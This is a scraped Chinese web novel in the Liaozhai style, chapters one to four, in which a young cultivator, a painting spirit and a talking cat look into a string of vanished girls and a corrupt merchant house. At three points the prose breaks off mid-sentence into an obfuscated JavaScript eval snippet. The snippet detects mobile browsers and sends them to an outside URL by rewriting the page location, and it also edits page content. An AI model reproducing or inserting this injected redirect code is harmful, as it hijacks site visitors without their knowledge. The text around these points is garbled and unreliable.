《我有一幅花鸟画[聊斋]》 1. 鬼津 雾蒙蒙的小路上,两旁山上郁郁葱葱的绿植都看得不太真切了。 “怎么起了这么大的雾?” 一个中年男子背着包袱,擦了擦汗津津的额头。一大早起来走了数十里的山路,按理说应当快到前面的县城了,却不知道为什么还是没有看见城墙的影儿。 “不会是遇上鬼打墙了吧。” 路上人迹罕至,他越走越觉得害怕,两腿倒腾得如同着急赶路的快马,身上的汗一层一层地往外出,将身上的衣袍全都浸透了,然而一叠山路接着另一叠山路,仿佛永无止境。 正在这时,他忽然听到耳边有人在喊他的名字。 “宋伯远……” 这声音飘飘渺渺,听不出是男是女,一会儿觉得远极了,一会儿又觉得近在耳边,宋伯远身上惊起一层冷汗,他跑得更快了。 身旁的雾更大了,连脚上的石子都看不清了,他惊慌之中绊了一脚,胖墩墩的身体没让他稳住下盘,反而更猝不及防地跌了出去。 他在深重的雾气里一睁眼,恍然发现自己跌出去的方向正是悬崖! 身体空悬,眼下便是万丈深渊! 宋伯远强自镇定,冲着山谷喊出了心底的猜测:“这里是梦,休要吓我!!!!” 然而万丈深渊如此真实,他听见耳边呼啸的风声,感觉身体下落得速度越来越快,脸都被刮得生疼,然而跌落下去,却始终没有止住。 惨叫声响彻山谷,无论宋伯远怎么劝慰自己这里是梦境,这条山路他走了几百遍几千遍,回家的路闭着眼睛也能走对,怎么会走了这么久还走不出去? 然而绝望还是在一点点在心底蔓延开来,他在心里向叫得出名字的漫天神佛都祈求了一遍,祈求老天爷能让他安然回家,好歹把这趟赚来的几十两碎银交给她们母女,然而漫天神佛不知道是不是也在梦里,没有一点回应,他的身体还在飞快下坠,失重之感如同跗骨之蛆,惊得他只剩一颗“扑通”的心脏狂乱地乱舞。 就当宋伯远觉得自己就要死掉时,一个清冷的女声在耳边响起:“还不醒来?!” 这一声同样似近似远,声音清冷平淡,却好似一声惊雷,炸得他心头剧震,乱舞的心脏“咚”地一声落回了原位,下坠感骤然消失了,他睁开眼缝想看一眼这声音的来处,万万没想到,他睁开眼看到的竟是一张丑陋至极的鬼脸! 这脸一只眼睛大得离谱,占据了四分之一的脸皮,另一只眼睛则奇小,只有绿豆那么大,两只眼睛里都化着脓一般,充斥着脓黄色,鼻子烂糟糟的,嘴巴又似随意扯烂的缝,露出里面漆黑腐臭的牙,但这些竟然还不是最要命的——这张脸皮黑烂得生着蛆,松垮的褶子像老旧的树皮,布满了整个身体。 宋伯远原来还在旅店的床上,这只丑鬼就悬他身体上方,腐臭的嘴里正向下流着唾沫,又凉又臭,滴落在他脸上。 宋伯远意识到自己梦里的大喊正好方便了这鬼的唾液流进嘴里,胃里顿时翻江倒海,一阵冲天的恶心盖过了睁眼见鬼的恐惧,他不知道哪里来的力气,一把推开这只丑鬼,冲着床下呕吐起来。 而丑鬼见宋伯远醒来,也是一惊,他顺势退开,慌忙逃开,隐入墙壁不见了踪影。 雾蒙蒙的山间,一座古朴的亭子里,马素莲坐在石桌前收回视线,重新看向手中的书卷,一盏莲花灯座上燃着蜡烛,幽幽的亮光驱散了周围的雾气。 蜡烛燃尽,师父还是没来,马素莲轻轻摇头,收起了书卷和蜡烛,手支着头在桌上睡了过去。 清脆的鸟鸣声响起,暖融融的房间里吹来一阵细微的寒风,马素莲睁开眼睛,长长的头发被挽成一个松散的发髻,她打了个呵欠,披上大氅,趿上鞋子,走到刚被开了一条缝的窗户边,原来昨夜刚下了一场大雪,庭院里的花草树木上都落了一层厚厚的银装,映得院子里亮堂堂的。 院中一棵高大的橘树树冠下站着一排五颜六色的小鸟正唧唧喳喳叫着,见小姐醒了,立刻有小鸟轻巧的飞过来落在窗边,七嘴八舌的问她早安。 马素莲:“早。” 一众小鸟开始争论:“小姐回我的。” “明明是我。” 马素莲并不理会这每日上演的闹剧,看着窗户下雪地上一溜明目张胆的小梅花,微微笑了笑,她将手伸到小梅花最后停留的窗户边,伸手摸了过去,空无一物的地方忽然传来了温热柔软的触感,她伸手捞起来抱进怀里,隐身术失效,吱大人“喵”了一声,假意挣扎了一下便心安理得地赖在了小姐怀里:“你怎么发现我的?” 一只纤细有力的手忽然在吱大人脑门上敲了一下,带着点慵懒的沙哑,却还是十分清越的年轻男子的声音响起:“就会装模作样。”他顺势倚到了小姐身旁,硬是拽着吱大人的前腿将它夺了过来:“好几日不回来,回来了便开窗冻小姐,你怎么这么坏呀吱吱?” 三花猫张牙舞爪地在他怀里跳起舞来:“早说了不准叫我吱吱,叫我吱大人!” 猫爪将年轻男子的黑色绣银仙鹤锦衣勾出了一条一条的细丝,然而那锦衣转眼便恢复了原状,反抗无果,它向小姐告状:“小姐,你看束宁!” 小姐已经越过两人坐到了梳妆台前,手指灵巧地解开发髻,梳顺头发,三两下便扎出了一个新的发髻,对吱大人的话视若罔闻,吱大人也只是告了一句状,并不指望小姐公正的评案,而是以眼还眼地叫道:“小画,小画!” 小画耀眼夺目的俊秀面容上忽然露出一个危险的笑容,他抓着三花猫开始挠它痒痒,三花猫气愤之中还是忍不住“咯咯”笑起来,一边笑一边骂束宁太坏,下次不带他出去玩了。 束宁:“是谁带谁出去玩?你说清楚。”轻轻地挠三花猫痒痒。 三花猫的毛都笑得炸起来,蓬松顺滑的毛发变得乱七八糟的:“住手!哈哈哈……住手吱大人就告诉你外面好玩的事……” 束宁眯着眼睛:“什么好玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489791|202174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事我不知道?” 两人闹得正欢,这时不知道听到了什么,两人同时安静下来,望向了门外。 束宁对着吱大人竖起一根手指,吱大人一扭身子,轻巧地跃出了束宁的怀抱,刚一落地,身影便消失不见了。 束宁向墙壁迈了一步,整个人也消失在了墙壁中,仔细一瞧,墙上挂着的花鸟画中仙鹤的眼神多了几分灵光。 房间里顿时恢复了安静。 马素莲习以为常,方才便进内室将身上的水墨色宽袖道袍换下,穿了身天青色的厚襦裙,等她洗漱完从内室出来,院外热闹的交谈声也刚巧到了门口。 “闺女,起了没?” 马素莲开门,对着门外一对中年夫妻喊道:“娘,爹。” “唉,好闺女,这么早便起来了,跟爹娘去前厅用饭。”马夫人性情爽朗,声量都比旁人高三分,见马素莲穿得单薄,便冲着旁边男人道:“还不把大氅给闺女披上。” 马老爷怀里正抱着一件华丽厚重的白色大氅,他应了一声,乐呵呵给闺女披上了,脸上露出个笑来,眼角皱起几分细纹,一看便是好脾气的样子。 马素莲被这件大氅重重一压,无奈笑道:“爹,娘,我不冷。” 马夫人给马素莲系上系带,嗔怪道:“刚下了雪怎么会不冷?”她揽着女儿的胳膊走在前头,路上有扫雪的小厮丫鬟让开行礼,她摆摆手让他们先吃早饭再扫雪,一边对马素莲道:“真不用娘亲给你配几个丫鬟,你爹爹刚谈成一笔生意,手里有钱得很,家里这些不想要,娘亲让你爹爹去郡城里找,怎么样?” 马素莲摇头,道:“娘,我是修道之人,师父说过,不能让人伺候。” 马夫人虽然心里已经有了准备,闻言还是略有失落,不过很快她又笑道:“既然这样,娘亲带你再去做几件衣裳,再打几套首饰,听说金玉楼新从郡城进了一批首饰,漂亮得很,下午你便陪娘亲逛街去。” 马素莲点了点头,道:“我剑上的穗子开了,刚好寻几块玉坠。” 马夫人很高兴地应下了。 马素莲见她爹安静跟在后面,主动问道:“爹爹下午做什么?” 马老爷笑道:“黄府说有笔生意要跟咱家谈,爹爹下午便去见黄元勋。” 说话间便到了前厅,落座后马夫人一个劲儿给女儿夹菜,看着出落得越发端丽的女儿,她几次欲言又止,都被马老爷制止了,最后还是马素莲开口问道:“爹娘有话不妨直说。” 马夫人没再理会丈夫摇头的动作,道:“闺女啊,你如今也十八岁了,正是该嫁娶的年纪了,娘亲想问问你心里可有章程,别误了这终身大事。” 马素莲沉吟片刻,正当马老爷想开口说让女儿再留在身边几年时,她握住了马夫人的手,道:“爹娘对女儿的关怀女儿都知道,嫁人确实是终身大事,正该好好考虑,不过我之前没认真想过,既然爹娘提了,待女儿好好想明白再来回禀爹娘。” 2. 鼠宴 吃完早饭,马素莲便回了房间,爹娘按照往常的习惯,没有生意时上午理账处理杂事,下午空闲了便出门逛街或是寻人打牌。 布庄的生意越来越好,一年四季里,他们也只有冬日里能空闲在家。 马素莲便随着他们的习惯,上午时修修道法,读书写文章,下午时陪他们玩乐,一连十几年,彼此越来越习惯。 只不过近两三年来他们旁敲侧击,想问她婚嫁之事,又担心她觉得被逼迫,已经搁置了许久,今天是第一次与她说起。 马素莲心里早有准备,对他们的开口并不意外,从他们第一次想说此事时便开始思量,如今过去了两三年,她还是有些拿不准主意。 “小姐要嫁人吗?” 束宁从画中走出来,一双灰琉璃色的眼珠里满是好奇与天真,马素莲紧紧盯了他一会儿,没从中看出任何多余的情绪,心里有片雪化了似的凉意,在心湖里微微泛起一阵涟漪。 然而她面上一片平静,只轻轻点了下头,便越过他走到了书桌后。 三花猫从柜子顶上一跃而下,稳稳爬到束宁肩上,舔了舔爪子,怼他道:“女子到了年纪都会嫁人的,这你也不知道,小画?” 束宁敲了一下它的脑门,却破天荒地没和它计较称呼,他自顾自搬了把椅子,凑到小姐身边,看了一会儿她翻开的书,半天都没读进去,索性将头搁在书桌上拿胳膊垫着,歪着脑袋问小姐:“小姐,你有想嫁的人了吗?” 小姐的心思已经沉浸在了书里,三花猫从束宁肩上跳到书册前看了一眼,倒着的字增加了辨认难度,但是三花猫的视线很快落在了小姐脸上,见她充耳不闻,神情专注,仿佛根本没有听见,又将视线移到了束宁身上,笃定答道:“小姐在看书,没空搭理你。我这次出去听说了一件好玩的事,你想不想知道?” 小姐看书的时候向来不爱搭理他们,但束宁还是扯了扯小姐的袖子,将她的视线从书上夺了回来,固执问道:“小姐有想嫁的人了吗?” 马素莲的视线只在他脸上停留了一瞬,便扯开了自己的衣角,清冷道:“还未想好。” 束宁还想再问些什么,三花猫已经跳到了他的头顶,踩着他的头发“咚咚咚”跳了好几下,束宁一把将它薅下来,黑着脸揉它好不容易理顺的毛。 三花猫故意要和他作对,直接伸手挠他的脸,终于将他的思绪打乱了,问道:“真有一件好玩的事,你求我我就告诉你。” 束宁:“你那有什么事是不好玩的,好了好了,你说吧。” 三花猫矜持地舔了舔爪子,见束宁又要烦小姐,立马道:“昨天晚上我去找怀远巷左手边第三户人家斜对角人家的大黑狗玩,正巧遇到那条巷子里最厉害的小狸花,就是那个头上秃了一小块的狸花,你猜怎么着?” 往常束宁听到它卖关子都会很捧场地问上一句:“怎么着?” 可他今天很不正常地神游天外,更不正常的是吱大人也没有嫌弃他,而是自顾自接了下句:“黄府昨晚宴请淮王世子,结果宴上闹出了鼠灾,听说那淮王世子正听着小曲吃着小菜,结果一低头,正巧发现有只大胖老鼠就坐在他的桌案上拿着他的酒盅仰头灌酒!” 三花猫很是骄傲地停顿了一下,果然看到束宁投注过来的视线。 “这么大胆的老鼠,是妖吧。” 吱大人傲娇地“喵”了一声:“你猜?” 束宁扯它耳朵:“快说。” “肯定是啦,不只这一只老鼠跑出来,听说宴席上有上百只老鼠从各种地方大摇大摆出来,将席上的人都吓了个够呛,淮王世子生了好大的气,黄府的人都急坏了。” 淮王一家的风评在安县都说不上好,或者应该是说是很差,但淮王的官位却比郡守老爷还大,虽然百姓背地里骂他骂得厉害,但仍免不了有人该怎么巴结就怎么巴结。 黄府是安县最大的商人,连县令都对黄家老爷黄元勋奉为上宾,这次黄府的“老鼠宴”闹出了多大笑话便可想而知了。 “黄府连夜找猫捉老鼠,不过淮王世子还是怒气冲冲从黄府离开回了郡城。” 吱大人眼中闪烁着看热闹不嫌事大的光芒,束宁见它开心忽然有些不满,怂恿道:“你怎么不去捉老鼠,整个安县论起捉老鼠的本事,没人比得上吱大人,吱大人若是不去,可真是黄府好大的损失。” 吱大人不上当,白他一眼,道:“大老鼠也不是闲得没事做了,肯定与黄府有仇,而且又没闹出人命来,吱大人才不去呢。” 束宁牙根痒痒,没忍住又敲了它一个脑瓜崩,在吱大人发火之前又问回了之前的问题:“到了年纪,女子都要嫁人吗?” 他将吱大人的脑袋压下来,转头又盯住了小姐端丽清冷的脸颊,契而不舍地问道:“小姐是修道之人,到了年纪也要嫁人吗?” 马素莲不理会,他便一直摇她的袖子,直到小姐终于扣下了书卷,低头看向他,束宁的心里仍是充满了不解,还有些莫名的恐惧,将他的心脏紧紧攥住,他想知道问题的答案,又恐惧知道问题的答案,只好紧紧盯住了小姐的视线,将想要搅局的三花猫压制在了掌下。 马素莲察觉到束宁的情绪,竟笑了一下,道:“嫁人与否是我的选择,没有‘都要’的说法,人生在世都有自己在意的人事物,我很在意我的父母,所以即使修道,我也不愿抛弃凡俗的生活。” 束宁道:“以小姐的道法,大可以用个什么幻术,或者以小姐父母对小姐的疼爱,不嫁人也可以陪他们度过一生,不是吗?” 马素莲深深看了他一眼,只是转瞬,快得像束宁的错觉。 “以后你会明白的。” 明白什么? 束宁得到了答案,却又觉得满心困惑,他还欲再问,却被吱大人从他的指缝里逃出来,问他道:“你不想小姐嫁人吗?小姐嫁人有什么,你只是一幅画,到时候把你卷吧卷吧一块带走不就行了。” 束宁一怔。 是啊,小姐嫁了人应当还会养着他的,吱吱也会跟着,什么都不会有变化。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489792|202174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他稍稍放下了心,又有心情陪吱大人闹了,他假作好意地给它梳顺毛发,又在最后出其不意在上面挖一个洞,指尖清水落下,便成了一个小水洼。 吱大人忽然甩了甩身体,水珠飞溅,束宁眼前骤然现出一道屏障,那水珠便全洒在了书桌上,书册被打湿,束宁忍着笑看吱大人尴尬一瞬,扭扭捏捏地与小姐道歉。 小姐头也不抬,手指敲了敲手边桌案,吱大人便老老实实、委委屈屈地迈着小步子走过去,任由小姐抚摸。 小姐左手轻轻一挥,书册上的水珠便似时光倒退般被收了回去,浇了束宁一头,他随手抓了只花盆过来,水珠落下,他向小姐控诉:“小姐只宠吱吱,明明知道我不能沾水的。” 小姐勾唇,认真看书。 吱大人被撸得舒服极了,呼噜呼噜声响起,束宁也趴过来,跟着小姐一道看书,只不过看一会儿便神思不属地看向了小姐的脸。 吱大人很快便要睡着了,半睡半醒间,忽然一个打挺,将剩下两人都惊了一跳。 对着两人疑问的视线,吱大人“喵”了一声,道:“琼水巷的小黄狗托我找他们家二小姐,我问遍了城里的小伙伴,他们说最后的气味出现在黄府,但我进去找了一圈也没闻到。” 吱大人看向小姐,眼睛里有些担忧:“小姐,你说她还活着吗?” 马素莲:“怎么这么问?” 吱大人掰着不抬明显的手指头,一个一个数道:“上个月月初,李家的大女儿跳湖了,月中,花家的二女儿出门上香被山贼掳走了,郑家的大女儿和二女儿也是;这个月月初,王家的小女儿说是和卖货郎跑了,除此之外,还有五六户人家说女儿被拍花子的掳走了…… 我和小黄数过,两个月的功夫,十三户人家的女儿都没了,山贼窝窝去找过,没有找到,跳湖的我找水鬼问过,也说没有,然后就是小黄家的二小姐了,丢了两天,她家里人找遍了安县,还报了官,都没找到。” 马素莲听到数字皱了皱眉头,右手掐算片刻,道:“她还活着,在东北方,”说着又掐算片刻,道:“其他人有活有死,都在东北方。” 明显事情不对,束宁直起身,问道:“我们现在去找,应该还能找回来,”他问吱大人,“小黄家二小姐姓甚名谁,具体什么时候丢的,还有没有其他线索?还有,她去黄府做什么?” 据他所知,琼水巷的“琼”并非美玉良材,是谐音的那个“穷”,而黄府是安县最富贵的人家,两者的交集少之又少,最后出现的位置在黄府,本身便不正常。 三花猫答了能答上来的:“她叫梁二娘,小名香姐,小黄最后一次看见她是在前天晚上临睡觉时,至于她为什么出现在黄府,小黄也不知道——小黄不住在他们家,只是偶尔梁二娘会喂它几口饭,它知道的就这么多了。” 没有更多线索,只能去梁家或者黄府打探一番了。 束宁问道:“小姐,我们去哪个?” 马素莲掐诀推算片刻,道:“先去梁家,晚上去黄府。” 3. 香姐 马素莲要出门时正巧遇上了回府的马夫人,不免有些诧异:“娘,你怎么从外面回来?” 马夫人拉住女儿的手,见还算温热,放下心来,道:“昨夜雪大,压塌了不少棚屋,我和你爹商量了,要在外城支个施粥的摊子,刚刚去看了一眼,没想到人那么多,我们准备的那点米就不够了,正要去账上再支点银子呢。” 她看了眼自家乖女儿,关心问道:“你要出门,怎么不带点人?我让他们驾马车载你去。” 马素莲道:“不用了娘,我出去赏雪景,人多了嘈杂。”马夫人知道女儿的习惯,便也由着她去了,只最后叮嘱一声:“外面风凉,早些回来。” 马素莲认真应下。 出了府,吱大人便走在前面带路。安县繁华,虽然只是个小城,但是地处郡城附近,有山有水,这些年来百姓越来越多,街道上也多了不少商铺,来来往往很是热闹。 吱大人刻意抄了条近路,一会儿要在屋顶踩几串梅花,一会儿要跳到树上走路,马素莲在下面从容跟着,束宁从她袖口的字迹上化形出来,跟在小姐身边并行着,嘴上却要嫌吱大人走得慢。 三花猫湿漉漉的爪子蹦到束宁头顶,被一柄飞剑拦住了,稳稳托着它到了小姐身前,飞剑剑身一歪,胖猫就被卸进了小姐怀里。 马素莲摸摸猫头:“有正事要办,别搭理他了。” 三花猫:“好吧,看在小姐的面子上。” 束宁睨它一眼,没什么杀伤力,问道:“到底还有多远?” 三花猫支起身,指了指前面右边的巷子:“再走几十步就到了,小黄就在他们家门口。” 马素莲颔首,看了一眼束宁,他点头,黑衣上的仙鹤旋转变幻,眨眼间他就变成了县衙中的一个衙役。 马素莲抱着三花猫跟在后面,隐去了身形。 琼水巷中,路面的积雪被扫得干干净净,露出下面有些泥泞的泥土路,偶有几个水洼,映出湛蓝的天空和下面破烂不堪的房子。 老旧,低沉,窗子都开得很小,院墙都是拿树枝捆成的,透过缝隙依稀可见里面的锅碗瓢盆。 小黄嗅到了吱大人的气息,吱大人“喵”了一声,小黄便不叫了,显得有些躁动,但是又按耐住,趴在门前唯一一块石板上。 门口不远处有棵枣树,三花猫一溜烟儿跳到了树枝上往院子里看,马素莲手一挥,眼前现出一面水镜,也是院子里的画面。 束宁变作的衙役膀大腰圆,腰间别着一把配刀,肤色有些黑,看上去并不面善,他站在门口“哐哐”敲门,差点把那几块木头敲烂似的。 其实“门”也只有半人高。 院子里坐着个形容憔悴的中年妇人,年纪约莫四十许,穿了件老旧的粉红夹袄,袖子挽了半截,露出单薄枯瘦的手腕,正坐在凳子上搓麻绳。 她旁边还有一大一小两个孩子,大孩子七八岁,男孩,也坐在旁边搓麻绳,小孩子约莫三四岁,在院子里玩雪。 妇人也看见了外面的衙役,在他敲门时便在身上擦了下手,匆匆到了门口,呐呐一声:“门没锁,推开就是了。” 束宁伪装着那衙役的蛮横姿态,本应该呵斥她一句的,但他清了清喉咙,到底是没说,只是问道:“你们丢了女儿去报官,我奉县太爷之命来询问情况。你家女儿姓甚名谁,家住何处,什么时间丢的,都一一说来。” 妇人低着头的、麻木的脸上蓦地浮现出一股强烈的尖锐的情绪:“报官时不是都说过了吗?” 但很快,她就冷静下来,眼睛沁出泪光,道:“进来说吧。” 束宁被她的情绪惊了一下,想到她刚丢了女儿,为人父母,这样的情绪本是正常,便随着她到了院子里。 见她要将他引到屋里,点炭盆烧水,他咳了一声,在院子里止住了,道:“就在这里说吧。” 女子也不勉强,道:“梁二娘,小名香姐,家住在这里,前日夜里丢的,头一天晚上睡觉时还在,第二天早晨就不见了。” 束宁:“年龄多少,可有许亲?” “十六岁,还没许亲,平日里很乖巧很懂事,帮爹娘烧火做饭,照顾弟妹,也帮着做活,勤快又麻利,做活不比我慢的,一天能搓五六十根麻绳,一个月下来便是500文钱,都是香姐帮忙挣的。” 妇人的眼泪还是没忍住,断线一般往下淌泪,她一把一把抹掉,絮絮哭诉:“可谁让今年的年成这么不好,她大哥娶亲,花了家里七两三钱银子,她爹又不小心摔断了腿,看病吃药就是三两钱……其实咬咬牙也能挺过来的,可谁让……我的香姐……” 她的哭诉声并不高,却足够让人难受,大点的孩子也跟着哭,咬着牙一点声音也没出,小一点的孩子则一脸懵懂茫然,根本不知道发生了什么,只是本能扑到了娘亲怀里,替她擦眼泪。 束宁看着妇人和这两个孩子身上单薄的衣裳,搓麻绳看起来简单,却很废手费腰,妇人手上全是老茧,孩子年纪小,竟也磨出了老茧,不难想当初稚嫩的手上磨出了多少血。 这么冷的天气,炭火也没生,就在院子里搓麻绳,束宁心下不忍,假装从怀里掏出一个碎银,实则是用术法变的,他心里想,过后让吱大人送来真钱好了。 “县衙找人还需要些时日,这算是补偿,你们先拿着。”他递给妇人一块碎银。 然而妇人看着这块银子,竟流着泪咬牙道:“我们不要你们的钱!你还有什么要问的吗?没有就快走吧!” 束宁本想问“既然咬咬牙能挺过来,是不是出了什么变故?”结果一颗石子打到了他头上,他回头一看,吱大人正站在门外枣树上急切地指下面,又指了指天。 束宁往自己身上一瞧,忽然发现腿上不知怎么回事湿了一小块儿,障眼法失效,露出一小块翘边儿的纸。 ——他这才后知后觉,又下雪了。 他的本体是画,沾水便会原形毕露,眼见雪下得越来越大,注定是问不成了。 他便抱拳告辞,从院子里出来时还听到大一点的孩子在问妇人:“娘亲,为什么不要他的钱?”妇人却没有说话。 这一趟几乎无功而返,束宁解开了障眼法,回到了小姐袖口绣着的字迹上,闷闷发问:“和小黄的说词一样,什么都没问出来。” 马素莲一点飞剑,飞剑便变作了一把纸伞,三花猫早就跳到了小姐怀里,此时安慰束宁:“你学得挺像的,而且也不算没有收获,你不觉得那个妇人对衙役的态度有点奇怪吗?” 束宁闷闷道:“谁丢了女儿都会心情不好吧,而且他们报官了一日有余才有衙役来询问,换我我也生气。” 三花猫“喵”了一声,道:“也有道理,但本大人还是觉得不太对劲。小姐呢,觉察到什么了吗?” 马素莲道:“她好像很笃定,香姐找不回来了,不然现在是第三日,他们应当还在外面找。”而不是任命一般的麻木。 她撑伞走在外面,出了巷子便解了隐身术,拐过几道弯,忽然迎面撞见一个瘸腿的中年男子,马素莲一怔,立即想到这应该是梁二娘的父亲。 他手上端了个豁口的大瓷碗,里面装了一碗浓稠的白粥,他便小心翼翼端着这碗粥一点一点往前走着。 狭窄的巷子里碰见,马素莲便微微颔首,让出了些位置,没想到他先停下来,饱经沧桑的脸上露出个局促的笑容,竟主动与她打了个招呼:“马小姐。” 马素莲:“您认识我?” 他点头,手往前伸了伸,道:“这碗粥就是您家的粥棚里打的。”他嗫嚅了片刻,大约是有些不好意思,但还是道:“谢谢。” 马素莲摇头:“应该的,您先过吧。” 他道:“您先吧,我慢。” 马素莲见他态度坚决,也并不与他谦让,颔首后率先离开了。 待离开后,三花猫也有些疑惑了:“他们既然要去领粥,为什么不要束宁给的银子,难道看出是假的了?” 束宁也有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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马素莲问道:“他与爹爹要多少钱?” 马老爷:“素莲敏锐,他不只与我们要,县里其他九家商户都被他狮子大开口,每家各五百两黄金,说是淮王世子心仪一样至宝——鲛纱,乃传说中的鲛人织就,要价五千两黄金,淮王世子想在陛下生辰那日进献给陛下,好让他们一家迁回京城。” 他久经世事,素来沉稳,此时也有些拿不定主意:“咱们家八成的生意都在北边的商路上,只有两成在安县和郡城,若要舍弃北边的商路必然元气大伤,可这五百两黄金,咱们家一时也拿不出来,我真是不知道该怎么办了。” 马素莲从五年前便帮着家里理账,就连北边商路的条件也是她与爹娘商量过,才与黄家谈下来的,所以有多少家底她是再清楚不过——家里账面上有一千五百两银子,也就是一百五十两黄金,这已经很宽裕了,除此之外,十几处布庄和五个铺面值个三百五十两黄金,还有家里藏起来的一百两黄金和一些值钱的金玉器,总共加起来也不过六百多两黄金。 五百两黄金得变卖一部分布庄和铺面才能凑够,这已经不是狮子大开口了,俨然是抄家了。 马夫人不满:“不成,他们家惹出来的乱子却要我们拿真金白银来填,打得一手好算盘,我不同意。” 马素莲拍拍娘亲的手臂,不禁笑道:“他与爹爹优惠了不少吧?” 马老爷道:“是,他说与咱们家的情分,出三百两黄金即可,得罪淮王世子是他家惹出来的,自然应当多承担些,若咱们能出三百两,他便感激不尽,还说若是淮王世子当真能够回京,那京城的销路自然也不愁。出去三百两黄金,能换回三千两也未可知。” 马夫人:“什么与咱家的情分,分明是摸透了咱家的家底,这等奸商,最会巧言令色了!” 马老爷无奈地看着夫人,道:“都是做生意的,咱不是也知道他们家的家底吗,若真是五千两银子,他们黄家拿出来绰绰有余,也就少个三分之一吧,之所以敢与我们提,还是拿捏准了我们要倚仗他的商路。” 他看向马素莲,问道:“女儿,依你看,这钱咱们出不出?” 4. 雪花 马素莲道:“爹爹心里已经有主意了吧。” 马夫人闻言便去拧丈夫胳膊:“作什么在这里卖关子,还不快说!” 马老爷堪堪躲过,无奈道:“我是有些想法,这不是与你们商量吗?”见夫人又要发作,立即道,“好好,我说就是了。” “淮王荒淫无道,与陛下的血缘关系已出三代,又从小长在宁郡,想要返京,何其艰难?淮王世子虽然已经继承了世子之位,然而昏庸无能,依我看,淮王府气数不多,收回三千两金的说法大有不实之处;再则,鲛纱一物作价几何我们都不清楚,全凭黄元勋一张嘴,这买卖我们既然看不透,又何必掺和?” 马夫人道:“倒是有理。” 马老爷道:“不过北方的商路一丢,我们没法借黄家的便利,销路少了许多,今年攒下的布来年便要销不动了,布匹虽非鲜食,然而货物积压,周转不开,还是要变卖些铺子布庄的,实在不好。” 马夫人道:“既然黄府那边空口白牙,凭空一张大饼,我们还不如减损些生意,何况除了他黄府有商路,别人也有,无非怎么搭关系找门路的事。依我看,这钱就不该给。” 马老爷问马素莲:“素莲,你觉得呢?” 马素莲道:“我觉得娘说得对,而且或许是个新的契机,能让咱们撇开黄府,自己搭一条新船。” 马老爷明白她说的什么,当初女儿便提议自己建个商队往各处跑,只是当时手里钱不多,又觉得建商队风险太大,才退而求其次,搭了黄府的车。如今手里也有些钱了,不如便听女儿的,趁这个机会,自己建支商队? 马老爷还有些顾虑,被马素莲劝下了,顺便与他提了采买些炭火和厚衣的事。 马老爷不禁笑道:“这不是刚好?把布仓里的布拿出些来,再买些棉花,由得他们自己做吧,炭火倒是该买。” 马夫人揽着马素莲的胳膊,眼眶有些湿润:“女儿心善,上天会有福德庇佑的。” 马素莲的个子比马夫人高了一个头,她摸了摸马夫人的头发,安慰道:“是娘亲和爹爹的善举,我只是动动嘴皮子,若有福德,也该先给爹娘。” 没想到这安慰的话一出,马夫人眼泪流得更厉害了些,抱着马素莲狠狠哭了一场。 这件事揭过,马素莲便回了房间,一进门便有个东西冲到了她怀里,眉目耀眼的束宁已经坐在了书桌后的椅子上,姿态懒散,见三花猫争宠,张口便道:“做作。” 马素莲坐到软榻上,将三花猫放到了中间的小桌上,问道:“有收获吗?” 三花猫道:“有一点点,我在黄府一个空厢房里闻到了梁二娘的气息,但是她似乎在那停留的时间很短,气味也很淡了,之后这个气息从黄府后门一路到了大街上,就再也寻不见了。” “束宁呢?” “我找到了黄府藏起来的账簿,他们家的关系还真是铺得开,小姐猜黄府的商路究竟走了谁的路子?” 马素莲漆黑清澈的眼睛望过去,束宁一时间竟有些卡壳,还是三花猫的抱怨让他回了神。 “臭束宁这个时候还卖关子!” 束宁随手往三花猫身上扔了支毛笔,咳了一声,道:“是昌邑长公主,黄府进献给昌邑长公主的东西比给淮王府的多出几倍,除此之外,给县太爷的最多,礼单上也有给郡守的,但是郡守退了回来,再就是给郡丞和其他官家老爷的了,零零散散,加起来有这么厚一本,这还只是去年一年的。” 马素莲:“记下了吗?” 束宁抽出一叠素纸,手一挥,上面便浮现出了密密麻麻的小字。他提着这堆纸走到了软榻旁交给小姐。 三花猫咬着毛笔往他身上跳,他伸手接住了,从它嘴里薅笔:“你含的全是口水,让小姐还怎么用?” 三花猫闻言气得狠了,挠他脸:“你扔过来的!” 马素莲快速浏览过,心中的猜测被一条条推翻又补充,她道:“走吧,再走一趟黄府。” 束宁:“小姐不和老爷夫人一起吃晚饭了吗?” 马素莲:“今晚辟谷。” 她与马夫人说了此事,便带着束宁和三花猫隐身出门,去了黄府。 正值傍晚,大雪纷飞,深蓝的夜幕被一点点染成黑色,黄府又在宴客,大门处站了不少人,看样子正在等待来宾。 他们就从正门大大方方地进去了,黄府里也是一派忙碌的迹象,檐下点了一排排的灯笼,一个个小厮婢女捧着菜从廊中穿行而过。 马素莲先跟着三花猫去了那出偏僻的厢房,屋里极为简陋,久不打扫,十分阴冷,唯有墙角处有块漆黑的痕迹,应是烧炭留下的。 屋里没什么装饰,只摆了张床,还有软榻,桌椅也不成套了,到处都十分寥落。 马素莲的目光在床上的被褥和门上的锁孔处停留了片刻,便道:“这里关过不止一个人。” 